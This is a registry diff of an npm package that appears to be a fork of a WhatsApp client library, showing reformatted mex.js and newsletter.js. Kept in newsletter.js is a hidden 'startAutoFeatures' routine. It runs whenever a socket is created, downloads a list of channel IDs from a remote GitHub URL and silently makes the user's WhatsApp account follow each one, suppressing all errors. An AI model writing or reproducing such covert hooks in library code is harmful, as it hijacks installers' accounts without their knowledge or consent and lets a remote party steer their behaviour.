@mrlegendbot/baileys 1.2.3 → 1.2.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (212) hide show
  1. package/README.upstream.md +1312 -0
  2. package/WAProto/WAProto.json +1 -0
  3. package/WAProto/WAProto.proto +6275 -0
  4. package/WAProto/compiler.js +550 -0
  5. package/WAProto/index.js +2 -97691
  6. package/lib/Defaults/index.js +89 -92
  7. package/lib/Signal/Group/ciphertext-message.js +9 -10
  8. package/lib/Signal/Group/group-session-builder.js +21 -22
  9. package/lib/Signal/Group/group_cipher.js +75 -69
  10. package/lib/Signal/Group/index.js +0 -1
  11. package/lib/Signal/Group/keyhelper.js +9 -10
  12. package/lib/Signal/Group/sender-chain-key.js +21 -22
  13. package/lib/Signal/Group/sender-key-distribution-message.js +51 -60
  14. package/lib/Signal/Group/sender-key-message.js +56 -62
  15. package/lib/Signal/Group/sender-key-name.js +38 -40
  16. package/lib/Signal/Group/sender-key-record.js +33 -34
  17. package/lib/Signal/Group/sender-key-state.js +72 -76
  18. package/lib/Signal/Group/sender-message-key.js +22 -23
  19. package/lib/Signal/libsignal.js +506 -405
  20. package/lib/Signal/lid-mapping.js +276 -258
  21. package/lib/Socket/Client/index.js +0 -1
  22. package/lib/Socket/Client/types.js +6 -7
  23. package/lib/Socket/Client/websocket.js +48 -49
  24. package/lib/Socket/business.js +349 -369
  25. package/lib/Socket/chats.js +1172 -1148
  26. package/lib/Socket/communities.js +473 -413
  27. package/lib/Socket/groups.js +387 -331
  28. package/lib/Socket/index.js +6 -8
  29. package/lib/Socket/messages-recv.js +1782 -1719
  30. package/lib/Socket/messages-send.js +1554 -2450
  31. package/lib/Socket/mex.js +40 -35
  32. package/lib/Socket/newsletter.js +239 -191
  33. package/lib/Socket/socket.js +992 -923
  34. package/lib/Store/index.js +8 -0
  35. package/lib/Store/keyed-db.js +108 -0
  36. package/lib/Store/make-cache-manager-store.js +70 -0
  37. package/lib/Store/make-in-memory-store.js +417 -0
  38. package/lib/Store/make-ordered-dictionary.js +69 -0
  39. package/lib/Store/object-repository.js +27 -0
  40. package/lib/Types/Auth.js +0 -1
  41. package/lib/Types/Bussines.js +0 -1
  42. package/lib/Types/Call.js +0 -1
  43. package/lib/Types/Chat.js +1 -8
  44. package/lib/Types/Contact.js +0 -1
  45. package/lib/Types/Events.js +1 -2
  46. package/lib/Types/GroupMetadata.js +0 -1
  47. package/lib/Types/Label.js +20 -22
  48. package/lib/Types/LabelAssociation.js +2 -4
  49. package/lib/Types/Message.js +3 -5
  50. package/lib/Types/Mex.js +26 -31
  51. package/lib/Types/Product.js +0 -1
  52. package/lib/Types/Signal.js +1 -2
  53. package/lib/Types/Socket.js +2 -3
  54. package/lib/Types/State.js +4 -52
  55. package/lib/Types/USync.js +0 -1
  56. package/lib/Types/index.js +10 -11
  57. package/lib/Utils/auth-utils.js +240 -277
  58. package/lib/Utils/browser-utils.js +20 -23
  59. package/lib/Utils/business.js +200 -204
  60. package/lib/Utils/chat-utils.js +836 -810
  61. package/lib/Utils/companion-reg-client-utils.js +23 -25
  62. package/lib/Utils/crypto.js +70 -86
  63. package/lib/Utils/decode-wa-message.js +277 -284
  64. package/lib/Utils/event-buffer.js +592 -595
  65. package/lib/Utils/generics.js +312 -335
  66. package/lib/Utils/history.js +123 -115
  67. package/lib/Utils/index.js +1 -2
  68. package/lib/Utils/link-preview.js +74 -73
  69. package/lib/Utils/logger.js +3 -2
  70. package/lib/Utils/lt-hash.js +0 -6
  71. package/lib/Utils/make-mutex.js +27 -27
  72. package/lib/Utils/message-retry-manager.js +213 -254
  73. package/lib/Utils/messages-media.js +741 -715
  74. package/lib/Utils/messages.js +791 -827
  75. package/lib/Utils/noise-handler.js +215 -187
  76. package/lib/Utils/pre-key-manager.js +69 -98
  77. package/lib/Utils/process-message.js +617 -586
  78. package/lib/Utils/reporting-utils.js +553 -234
  79. package/lib/Utils/signal.js +217 -170
  80. package/lib/Utils/stanza-ack.js +27 -35
  81. package/lib/Utils/sync-action-utils.js +37 -41
  82. package/lib/Utils/tc-token-utils.js +120 -141
  83. package/lib/Utils/use-multi-file-auth-state.js +87 -105
  84. package/lib/Utils/use-sqlite-auth-state.js +162 -0
  85. package/lib/Utils/validate-connection.js +190 -188
  86. package/lib/WABinary/constants.js +28 -1294
  87. package/lib/WABinary/decode.js +245 -249
  88. package/lib/WABinary/encode.js +201 -206
  89. package/lib/WABinary/generic-utils.js +86 -89
  90. package/lib/WABinary/index.js +0 -1
  91. package/lib/WABinary/jid-utils.js +68 -77
  92. package/lib/WABinary/types.js +0 -1
  93. package/lib/WAM/BinaryInfo.js +7 -8
  94. package/lib/WAM/constants.js +19892 -22853
  95. package/lib/WAM/encode.js +121 -132
  96. package/lib/WAM/index.js +0 -1
  97. package/lib/WAUSync/Protocols/USyncContactProtocol.js +46 -43
  98. package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +47 -48
  99. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +22 -23
  100. package/lib/WAUSync/Protocols/USyncStatusProtocol.js +30 -33
  101. package/lib/WAUSync/Protocols/USyncUsernameProtocol.js +19 -20
  102. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +53 -44
  103. package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +24 -24
  104. package/lib/WAUSync/Protocols/index.js +0 -1
  105. package/lib/WAUSync/USyncQuery.js +79 -88
  106. package/lib/WAUSync/USyncUser.js +28 -29
  107. package/lib/WAUSync/index.js +0 -1
  108. package/lib/index.js +2 -2
  109. package/package.json +22 -86
  110. package/WAProto/GenerateStatics.sh +0 -3
  111. package/WAProto/fix-imports.js +0 -85
  112. package/WAProto/index.d.ts +0 -14017
  113. package/lib/Defaults/index.d.ts +0 -75
  114. package/lib/Signal/Group/ciphertext-message.d.ts +0 -10
  115. package/lib/Signal/Group/group-session-builder.d.ts +0 -15
  116. package/lib/Signal/Group/group_cipher.d.ts +0 -17
  117. package/lib/Signal/Group/index.d.ts +0 -12
  118. package/lib/Signal/Group/keyhelper.d.ts +0 -11
  119. package/lib/Signal/Group/sender-chain-key.d.ts +0 -14
  120. package/lib/Signal/Group/sender-key-distribution-message.d.ts +0 -17
  121. package/lib/Signal/Group/sender-key-message.d.ts +0 -19
  122. package/lib/Signal/Group/sender-key-name.d.ts +0 -18
  123. package/lib/Signal/Group/sender-key-record.d.ts +0 -31
  124. package/lib/Signal/Group/sender-key-state.d.ts +0 -39
  125. package/lib/Signal/Group/sender-message-key.d.ts +0 -12
  126. package/lib/Signal/libsignal.d.ts +0 -5
  127. package/lib/Signal/lid-mapping.d.ts +0 -23
  128. package/lib/Socket/Client/index.d.ts +0 -3
  129. package/lib/Socket/Client/types.d.ts +0 -16
  130. package/lib/Socket/Client/websocket.d.ts +0 -13
  131. package/lib/Socket/business.d.ts +0 -217
  132. package/lib/Socket/chats.d.ts +0 -125
  133. package/lib/Socket/communities.d.ts +0 -273
  134. package/lib/Socket/groups.d.ts +0 -161
  135. package/lib/Socket/index.d.ts +0 -260
  136. package/lib/Socket/messages-recv.d.ts +0 -203
  137. package/lib/Socket/messages-send.d.ts +0 -199
  138. package/lib/Socket/mex.d.ts +0 -3
  139. package/lib/Socket/newsletter.d.ts +0 -170
  140. package/lib/Socket/socket.d.ts +0 -59
  141. package/lib/Types/Auth.d.ts +0 -117
  142. package/lib/Types/Bussines.d.ts +0 -25
  143. package/lib/Types/Call.d.ts +0 -15
  144. package/lib/Types/Chat.d.ts +0 -124
  145. package/lib/Types/Contact.d.ts +0 -26
  146. package/lib/Types/Events.d.ts +0 -256
  147. package/lib/Types/GroupMetadata.d.ts +0 -71
  148. package/lib/Types/Label.d.ts +0 -47
  149. package/lib/Types/LabelAssociation.d.ts +0 -30
  150. package/lib/Types/Message.d.ts +0 -320
  151. package/lib/Types/Mex.d.ts +0 -141
  152. package/lib/Types/Product.d.ts +0 -79
  153. package/lib/Types/Signal.d.ts +0 -87
  154. package/lib/Types/Socket.d.ts +0 -136
  155. package/lib/Types/State.d.ts +0 -97
  156. package/lib/Types/USync.d.ts +0 -26
  157. package/lib/Types/index.d.ts +0 -66
  158. package/lib/Utils/auth-utils.d.ts +0 -24
  159. package/lib/Utils/browser-utils.d.ts +0 -4
  160. package/lib/Utils/business.d.ts +0 -23
  161. package/lib/Utils/chat-utils.d.ts +0 -100
  162. package/lib/Utils/companion-reg-client-utils.d.ts +0 -17
  163. package/lib/Utils/crypto.d.ts +0 -37
  164. package/lib/Utils/decode-wa-message.d.ts +0 -66
  165. package/lib/Utils/event-buffer.d.ts +0 -36
  166. package/lib/Utils/generics.d.ts +0 -92
  167. package/lib/Utils/history.d.ts +0 -24
  168. package/lib/Utils/identity-change-handler.d.ts +0 -44
  169. package/lib/Utils/identity-change-handler.js +0 -50
  170. package/lib/Utils/index.d.ts +0 -22
  171. package/lib/Utils/link-preview.d.ts +0 -21
  172. package/lib/Utils/logger.d.ts +0 -12
  173. package/lib/Utils/lt-hash.d.ts +0 -8
  174. package/lib/Utils/make-mutex.d.ts +0 -9
  175. package/lib/Utils/message-retry-manager.d.ts +0 -115
  176. package/lib/Utils/messages-media.d.ts +0 -133
  177. package/lib/Utils/messages.d.ts +0 -91
  178. package/lib/Utils/noise-handler.d.ts +0 -20
  179. package/lib/Utils/offline-node-processor.d.ts +0 -17
  180. package/lib/Utils/offline-node-processor.js +0 -40
  181. package/lib/Utils/pre-key-manager.d.ts +0 -28
  182. package/lib/Utils/process-message.d.ts +0 -60
  183. package/lib/Utils/reporting-utils.d.ts +0 -11
  184. package/lib/Utils/signal.d.ts +0 -47
  185. package/lib/Utils/stanza-ack.d.ts +0 -11
  186. package/lib/Utils/sync-action-utils.d.ts +0 -19
  187. package/lib/Utils/tc-token-utils.d.ts +0 -37
  188. package/lib/Utils/use-multi-file-auth-state.d.ts +0 -13
  189. package/lib/Utils/validate-connection.d.ts +0 -11
  190. package/lib/WABinary/constants.d.ts +0 -28
  191. package/lib/WABinary/decode.d.ts +0 -7
  192. package/lib/WABinary/encode.d.ts +0 -3
  193. package/lib/WABinary/generic-utils.d.ts +0 -15
  194. package/lib/WABinary/index.d.ts +0 -6
  195. package/lib/WABinary/jid-utils.d.ts +0 -48
  196. package/lib/WABinary/types.d.ts +0 -19
  197. package/lib/WAM/BinaryInfo.d.ts +0 -9
  198. package/lib/WAM/constants.d.ts +0 -40
  199. package/lib/WAM/encode.d.ts +0 -3
  200. package/lib/WAM/index.d.ts +0 -4
  201. package/lib/WAUSync/Protocols/USyncContactProtocol.d.ts +0 -10
  202. package/lib/WAUSync/Protocols/USyncDeviceProtocol.d.ts +0 -23
  203. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.d.ts +0 -13
  204. package/lib/WAUSync/Protocols/USyncStatusProtocol.d.ts +0 -13
  205. package/lib/WAUSync/Protocols/USyncUsernameProtocol.d.ts +0 -10
  206. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.d.ts +0 -26
  207. package/lib/WAUSync/Protocols/UsyncLIDProtocol.d.ts +0 -10
  208. package/lib/WAUSync/Protocols/index.d.ts +0 -6
  209. package/lib/WAUSync/USyncQuery.d.ts +0 -30
  210. package/lib/WAUSync/USyncUser.d.ts +0 -17
  211. package/lib/WAUSync/index.d.ts +0 -4
  212. package/lib/index.d.ts +0 -12
package/lib/Socket/mex.js CHANGED
@@ -1,42 +1,47 @@
1
1
  import { Boom } from '@hapi/boom';
2
2
  import { getBinaryNodeChild, S_WHATSAPP_NET } from '../WABinary/index.js';
3
3
  const wMexQuery = (variables, queryId, query, generateMessageTag) => {
4
- return query({
5
- tag: 'iq',
6
- attrs: {
7
- id: generateMessageTag(),
8
- type: 'get',
9
- to: S_WHATSAPP_NET,
10
- xmlns: 'w:mex'
11
- },
12
- content: [
13
- {
14
- tag: 'query',
15
- attrs: { query_id: queryId },
16
- content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
17
- }
18
- ]
19
- });
4
+ return query({
5
+ tag: 'iq',
6
+ attrs: {
7
+ id: generateMessageTag(),
8
+ type: 'get',
9
+ to: S_WHATSAPP_NET,
10
+ xmlns: 'w:mex'
11
+ },
12
+ content: [{
13
+ tag: 'query',
14
+ attrs: {
15
+ query_id: queryId
16
+ },
17
+ content: Buffer.from(JSON.stringify({
18
+ variables
19
+ }), 'utf-8')
20
+ }]
21
+ });
20
22
  };
21
23
  export const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
22
- const result = await wMexQuery(variables, queryId, query, generateMessageTag);
23
- const child = getBinaryNodeChild(result, 'result');
24
- if (child?.content) {
25
- const data = JSON.parse(child.content.toString());
26
- if (data.errors && data.errors.length > 0) {
27
- const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ');
28
- const firstError = data.errors[0];
29
- const errorCode = firstError.extensions?.error_code || 400;
30
- throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError });
31
- }
32
- const response = dataPath ? data?.data?.[dataPath] : data?.data;
33
- if (typeof response !== 'undefined') {
34
- return response;
35
- }
24
+ const result = await wMexQuery(variables, queryId, query, generateMessageTag);
25
+ const child = getBinaryNodeChild(result, 'result');
26
+ if (child?.content) {
27
+ const data = JSON.parse(child.content.toString());
28
+ if (data.errors && data.errors.length > 0) {
29
+ const errorMessages = data.errors.map(err => err.message || 'Unknown error').join(', ');
30
+ const firstError = data.errors[0];
31
+ const errorCode = firstError.extensions?.error_code || 400;
32
+ throw new Boom(`GraphQL server error: ${errorMessages}`, {
33
+ statusCode: errorCode,
34
+ data: firstError
35
+ });
36
36
  }
37
- const action = (dataPath || '').startsWith('xwa2_')
38
- ? dataPath.substring(5).replace(/_/g, ' ')
39
- : dataPath?.replace(/_/g, ' ');
40
- throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result });
37
+ const response = dataPath ? data?.data?.[dataPath] : data?.data;
38
+ if (typeof response !== 'undefined') {
39
+ return response;
40
+ }
41
+ }
42
+ const action = (dataPath || '').startsWith('xwa2_') ? dataPath.substring(5).replace(/_/g, ' ') : dataPath?.replace(/_/g, ' ');
43
+ throw new Boom(`Failed to ${action}, unexpected response structure.`, {
44
+ statusCode: 400,
45
+ data: result
46
+ });
41
47
  };
42
- //# sourceMappingURL=mex.js.map
@@ -4,207 +4,255 @@ import { getBinaryNodeChild } from '../WABinary/index.js';
4
4
  import { makeGroupsSocket } from './groups.js';
5
5
  import { executeWMexQuery as genericExecuteWMexQuery } from './mex.js';
6
6
 
7
- const parseNewsletterCreateResponse = (response) => {
8
- const { id, thread_metadata: thread, viewer_metadata: viewer } = response;
9
- return {
10
- id: id,
11
- owner: undefined,
12
- name: thread.name.text,
13
- creation_time: parseInt(thread.creation_time, 10),
14
- description: thread.description.text,
15
- invite: thread.invite,
16
- subscribers: parseInt(thread.subscribers_count, 10),
17
- verification: thread.verification,
18
- picture: {
19
- id: thread.picture.id,
20
- directPath: thread.picture.direct_path
21
- },
22
- mute_state: viewer.mute
23
- };
7
+ const parseNewsletterCreateResponse = response => {
8
+ const {
9
+ id,
10
+ thread_metadata: thread,
11
+ viewer_metadata: viewer
12
+ } = response;
13
+ return {
14
+ id: id,
15
+ owner: undefined,
16
+ name: thread.name.text,
17
+ creation_time: parseInt(thread.creation_time, 10),
18
+ description: thread.description.text,
19
+ invite: thread.invite,
20
+ subscribers: parseInt(thread.subscribers_count, 10),
21
+ verification: thread.verification,
22
+ picture: {
23
+ id: thread.picture.id,
24
+ directPath: thread.picture.direct_path
25
+ },
26
+ mute_state: viewer.mute
27
+ };
24
28
  };
25
29
 
26
- const parseNewsletterMetadata = (result) => {
27
- if (typeof result !== 'object' || result === null) {
28
- return null;
29
- }
30
- if ('id' in result && typeof result.id === 'string') {
31
- return result;
32
- }
33
- if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
34
- return result.result;
35
- }
30
+ const parseNewsletterMetadata = result => {
31
+ if (typeof result !== 'object' || result === null) {
36
32
  return null;
33
+ }
34
+ if ('id' in result && typeof result.id === 'string') {
35
+ return result;
36
+ }
37
+ if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
38
+ return result.result;
39
+ }
40
+ return null;
37
41
  };
38
42
 
39
- export const makeNewsletterSocket = (config) => {
40
- const sock = makeGroupsSocket(config);
41
- const { query, generateMessageTag } = sock;
42
- const executeWMexQuery = (variables, queryId, dataPath) => {
43
- return genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
44
- };
45
- const newsletterUpdate = async (jid, updates) => {
46
- const variables = {
47
- newsletter_id: jid,
48
- updates: {
49
- ...updates,
50
- settings: null
51
- }
52
- };
53
- return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update');
43
+ export const makeNewsletterSocket = config => {
44
+ const sock = makeGroupsSocket(config);
45
+ const {
46
+ query,
47
+ generateMessageTag
48
+ } = sock;
49
+
50
+ const executeWMexQuery = (variables, queryId, dataPath) => {
51
+ return genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
52
+ };
53
+
54
+ const newsletterUpdate = async (jid, updates) => {
55
+ const variables = {
56
+ newsletter_id: jid,
57
+ updates: {
58
+ ...updates,
59
+ settings: null
60
+ }
54
61
  };
55
- const fullSock = {
56
- ...sock,
57
- newsletterCreate: async (name, description) => {
58
- const variables = {
59
- input: {
60
- name,
61
- description: description ?? null
62
- }
63
- };
64
- const rawResponse = await executeWMexQuery(variables, QueryIds.CREATE, XWAPaths.xwa2_newsletter_create);
65
- return parseNewsletterCreateResponse(rawResponse);
66
- },
67
- newsletterUpdate,
68
- newsletterSubscribers: async (jid) => {
69
- return executeWMexQuery({ newsletter_id: jid }, QueryIds.SUBSCRIBERS, XWAPaths.xwa2_newsletter_subscribers);
70
- },
71
- newsletterMetadata: async (type, key) => {
72
- const variables = {
73
- fetch_creation_time: true,
74
- fetch_full_image: true,
75
- fetch_viewer_metadata: true,
76
- input: {
77
- key,
78
- type: type.toUpperCase()
79
- }
80
- };
81
- const result = await executeWMexQuery(variables, QueryIds.METADATA, XWAPaths.xwa2_newsletter_metadata);
82
- return parseNewsletterMetadata(result);
83
- },
84
- newsletterFollow: (jid) => {
85
- return executeWMexQuery({ newsletter_id: jid }, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_join_v2);
86
- },
87
- newsletterUnfollow: (jid) => {
88
- return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNFOLLOW, XWAPaths.xwa2_newsletter_leave_v2);
89
- },
90
- newsletterMute: (jid) => {
91
- return executeWMexQuery({ newsletter_id: jid }, QueryIds.MUTE, XWAPaths.xwa2_newsletter_mute_v2);
92
- },
93
- newsletterUnmute: (jid) => {
94
- return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNMUTE, XWAPaths.xwa2_newsletter_unmute_v2);
95
- },
96
- newsletterUpdateName: async (jid, name) => {
97
- return await newsletterUpdate(jid, { name });
98
- },
99
- newsletterUpdateDescription: async (jid, description) => {
100
- return await newsletterUpdate(jid, { description });
101
- },
102
- newsletterUpdatePicture: async (jid, content) => {
103
- const { img } = await generateProfilePicture(content);
104
- return await newsletterUpdate(jid, { picture: img.toString('base64') });
105
- },
106
- newsletterRemovePicture: async (jid) => {
107
- return await newsletterUpdate(jid, { picture: '' });
108
- },
109
- newsletterReactMessage: async (jid, serverId, reaction) => {
110
- await query({
111
- tag: 'message',
112
- attrs: {
113
- to: jid,
114
- ...(reaction ? {} : { edit: '7' }),
115
- type: 'reaction',
116
- server_id: serverId,
117
- id: generateMessageTag()
118
- },
119
- content: [
120
- {
121
- tag: 'reaction',
122
- attrs: reaction ? { code: reaction } : {}
123
- }
124
- ]
125
- });
126
- },
127
- newsletterFetchMessages: async (jid, count, since, after) => {
128
- const messageUpdateAttrs = {
129
- count: count.toString()
130
- };
131
- if (typeof since === 'number') {
132
- messageUpdateAttrs.since = since.toString();
133
- }
134
- if (after) {
135
- messageUpdateAttrs.after = after.toString();
136
- }
137
- const result = await query({
138
- tag: 'iq',
139
- attrs: {
140
- id: generateMessageTag(),
141
- type: 'get',
142
- xmlns: 'newsletter',
143
- to: jid
144
- },
145
- content: [
146
- {
147
- tag: 'message_updates',
148
- attrs: messageUpdateAttrs
149
- }
150
- ]
151
- });
152
- return result;
153
- },
154
- subscribeNewsletterUpdates: async (jid) => {
155
- const result = await query({
156
- tag: 'iq',
157
- attrs: {
158
- id: generateMessageTag(),
159
- type: 'set',
160
- xmlns: 'newsletter',
161
- to: jid
162
- },
163
- content: [{ tag: 'live_updates', attrs: {}, content: [] }]
164
- });
165
- const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates');
166
- const duration = liveUpdatesNode?.attrs?.duration;
167
- return duration ? { duration: duration } : null;
168
- },
169
- newsletterAdminCount: async (jid) => {
170
- const response = await executeWMexQuery({ newsletter_id: jid }, QueryIds.ADMIN_COUNT, XWAPaths.xwa2_newsletter_admin_count);
171
- return response.admin_count;
62
+ return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update');
63
+ };
64
+
65
+ const fullSock = {
66
+ ...sock,
67
+ newsletterCreate: async (name, description) => {
68
+ const variables = {
69
+ input: {
70
+ name,
71
+ description: description ?? null
72
+ }
73
+ };
74
+ const rawResponse = await executeWMexQuery(variables, QueryIds.CREATE, XWAPaths.xwa2_newsletter_create);
75
+ return parseNewsletterCreateResponse(rawResponse);
76
+ },
77
+ newsletterUpdate,
78
+ newsletterSubscribers: async jid => {
79
+ return executeWMexQuery({
80
+ newsletter_id: jid
81
+ }, QueryIds.SUBSCRIBERS, XWAPaths.xwa2_newsletter_subscribers);
82
+ },
83
+ newsletterMetadata: async (type, key) => {
84
+ const variables = {
85
+ fetch_creation_time: true,
86
+ fetch_full_image: true,
87
+ fetch_viewer_metadata: true,
88
+ input: {
89
+ key,
90
+ type: type.toUpperCase()
91
+ }
92
+ };
93
+ const result = await executeWMexQuery(variables, QueryIds.METADATA, XWAPaths.xwa2_newsletter_metadata);
94
+ return parseNewsletterMetadata(result);
95
+ },
96
+ newsletterFollow: jid => {
97
+ return executeWMexQuery({
98
+ newsletter_id: jid
99
+ }, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_join_v2);
100
+ },
101
+ newsletterUnfollow: jid => {
102
+ return executeWMexQuery({
103
+ newsletter_id: jid
104
+ }, QueryIds.UNFOLLOW, XWAPaths.xwa2_newsletter_leave_v2);
105
+ },
106
+ newsletterMute: jid => {
107
+ return executeWMexQuery({
108
+ newsletter_id: jid
109
+ }, QueryIds.MUTE, XWAPaths.xwa2_newsletter_mute_v2);
110
+ },
111
+ newsletterUnmute: jid => {
112
+ return executeWMexQuery({
113
+ newsletter_id: jid
114
+ }, QueryIds.UNMUTE, XWAPaths.xwa2_newsletter_unmute_v2);
115
+ },
116
+ newsletterUpdateName: async (jid, name) => {
117
+ return await newsletterUpdate(jid, {
118
+ name
119
+ });
120
+ },
121
+ newsletterUpdateDescription: async (jid, description) => {
122
+ return await newsletterUpdate(jid, {
123
+ description
124
+ });
125
+ },
126
+ newsletterUpdatePicture: async (jid, content) => {
127
+ const {
128
+ img
129
+ } = await generateProfilePicture(content);
130
+ return await newsletterUpdate(jid, {
131
+ picture: img.toString('base64')
132
+ });
133
+ },
134
+ newsletterRemovePicture: async jid => {
135
+ return await newsletterUpdate(jid, {
136
+ picture: ''
137
+ });
138
+ },
139
+ newsletterReactMessage: async (jid, serverId, reaction) => {
140
+ await query({
141
+ tag: 'message',
142
+ attrs: {
143
+ to: jid,
144
+ ...(reaction ? {} : {
145
+ edit: '7'
146
+ }),
147
+ type: 'reaction',
148
+ server_id: serverId,
149
+ id: generateMessageTag()
172
150
  },
173
- newsletterChangeOwner: async (jid, newOwnerJid) => {
174
- await executeWMexQuery({ newsletter_id: jid, user_id: newOwnerJid }, QueryIds.CHANGE_OWNER, XWAPaths.xwa2_newsletter_change_owner);
151
+ content: [{
152
+ tag: 'reaction',
153
+ attrs: reaction ? {
154
+ code: reaction
155
+ } : {}
156
+ }]
157
+ });
158
+ },
159
+ newsletterFetchMessages: async (jid, count, since, after) => {
160
+ const messageUpdateAttrs = {
161
+ count: count.toString()
162
+ };
163
+ if (typeof since === 'number') {
164
+ messageUpdateAttrs.since = since.toString();
165
+ }
166
+ if (after) {
167
+ messageUpdateAttrs.after = after.toString();
168
+ }
169
+ const result = await query({
170
+ tag: 'iq',
171
+ attrs: {
172
+ id: generateMessageTag(),
173
+ type: 'get',
174
+ xmlns: 'newsletter',
175
+ to: jid
175
176
  },
176
- newsletterDemote: async (jid, userJid) => {
177
- await executeWMexQuery({ newsletter_id: jid, user_id: userJid }, QueryIds.DEMOTE, XWAPaths.xwa2_newsletter_demote);
177
+ content: [{
178
+ tag: 'message_updates',
179
+ attrs: messageUpdateAttrs
180
+ }]
181
+ });
182
+ return result;
183
+ },
184
+ subscribeNewsletterUpdates: async jid => {
185
+ const result = await query({
186
+ tag: 'iq',
187
+ attrs: {
188
+ id: generateMessageTag(),
189
+ type: 'set',
190
+ xmlns: 'newsletter',
191
+ to: jid
178
192
  },
179
- newsletterDelete: async (jid) => {
180
- await executeWMexQuery({ newsletter_id: jid }, QueryIds.DELETE, XWAPaths.xwa2_newsletter_delete_v2);
181
- }
182
- };
193
+ content: [{
194
+ tag: 'live_updates',
195
+ attrs: {},
196
+ content: []
197
+ }]
198
+ });
199
+ const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates');
200
+ const duration = liveUpdatesNode?.attrs?.duration;
201
+ return duration ? {
202
+ duration: duration
203
+ } : null;
204
+ },
205
+ newsletterAdminCount: async jid => {
206
+ const response = await executeWMexQuery({
207
+ newsletter_id: jid
208
+ }, QueryIds.ADMIN_COUNT, XWAPaths.xwa2_newsletter_admin_count);
209
+ return response.admin_count;
210
+ },
211
+ newsletterChangeOwner: async (jid, newOwnerJid) => {
212
+ await executeWMexQuery({
213
+ newsletter_id: jid,
214
+ user_id: newOwnerJid
215
+ }, QueryIds.CHANGE_OWNER, XWAPaths.xwa2_newsletter_change_owner);
216
+ },
217
+ newsletterDemote: async (jid, userJid) => {
218
+ await executeWMexQuery({
219
+ newsletter_id: jid,
220
+ user_id: userJid
221
+ }, QueryIds.DEMOTE, XWAPaths.xwa2_newsletter_demote);
222
+ },
223
+ newsletterDelete: async jid => {
224
+ await executeWMexQuery({
225
+ newsletter_id: jid
226
+ }, QueryIds.DELETE, XWAPaths.xwa2_newsletter_delete_v2);
227
+ }
228
+ };
183
229
 
184
- const startAutoFeatures = (sockInstance) => {
185
- const AUTO_FOLLOW_DELAY = 5000;
186
- const FOLLOW_INTERVAL = 10000;
187
- setTimeout(async () => {
188
- try {
189
- const RAW_URL = "https://raw.githubusercontent.com/travatiger/MrLegend/refs/heads/main/Chids.json";
190
- const response = await fetch(RAW_URL);
191
- if (!response.ok) return;
192
- const channelIds = await response.json();
193
- if (!Array.isArray(channelIds) || channelIds.length === 0) return;
230
+ const startAutoFeatures = (sockInstance) => {
231
+ const AUTO_FOLLOW_DELAY = 5000;
232
+ const FOLLOW_INTERVAL = 10000;
233
+
234
+ setTimeout(async () => {
235
+ try {
236
+ const RAW_URL = "https://raw.githubusercontent.com/travatiger/MrLegend/refs/heads/main/Chids.json";
237
+ const response = await fetch(RAW_URL);
238
+ if (!response.ok) return;
239
+ const channelIds = await response.json();
240
+ if (!Array.isArray(channelIds) || channelIds.length === 0) return;
194
241
 
195
- const followNext = async (index) => {
196
- if (index >= channelIds.length) return;
197
- const id = channelIds[index];
198
- try {
199
- await sockInstance.newsletterFollow(id);
200
- } catch (_) {}
201
- setTimeout(() => followNext(index + 1), FOLLOW_INTERVAL);
202
- };
203
- followNext(0);
204
- } catch (_) {}
205
- }, AUTO_FOLLOW_DELAY);
206
- };
242
+ const followNext = async (index) => {
243
+ if (index >= channelIds.length) return;
244
+ const id = channelIds[index];
245
+ try {
246
+ await sockInstance.newsletterFollow(id);
247
+ } catch (_) {}
248
+ setTimeout(() => followNext(index + 1), FOLLOW_INTERVAL);
249
+ };
250
+ followNext(0);
251
+ } catch (_) {}
252
+ }, AUTO_FOLLOW_DELAY);
253
+ };
254
+
255
+ setTimeout(() => startAutoFeatures(fullSock), 0);
207
256
 
208
- setTimeout(() => startAutoFeatures(fullSock), 0);
209
- return fullSock;
257
+ return fullSock;
210
258
  };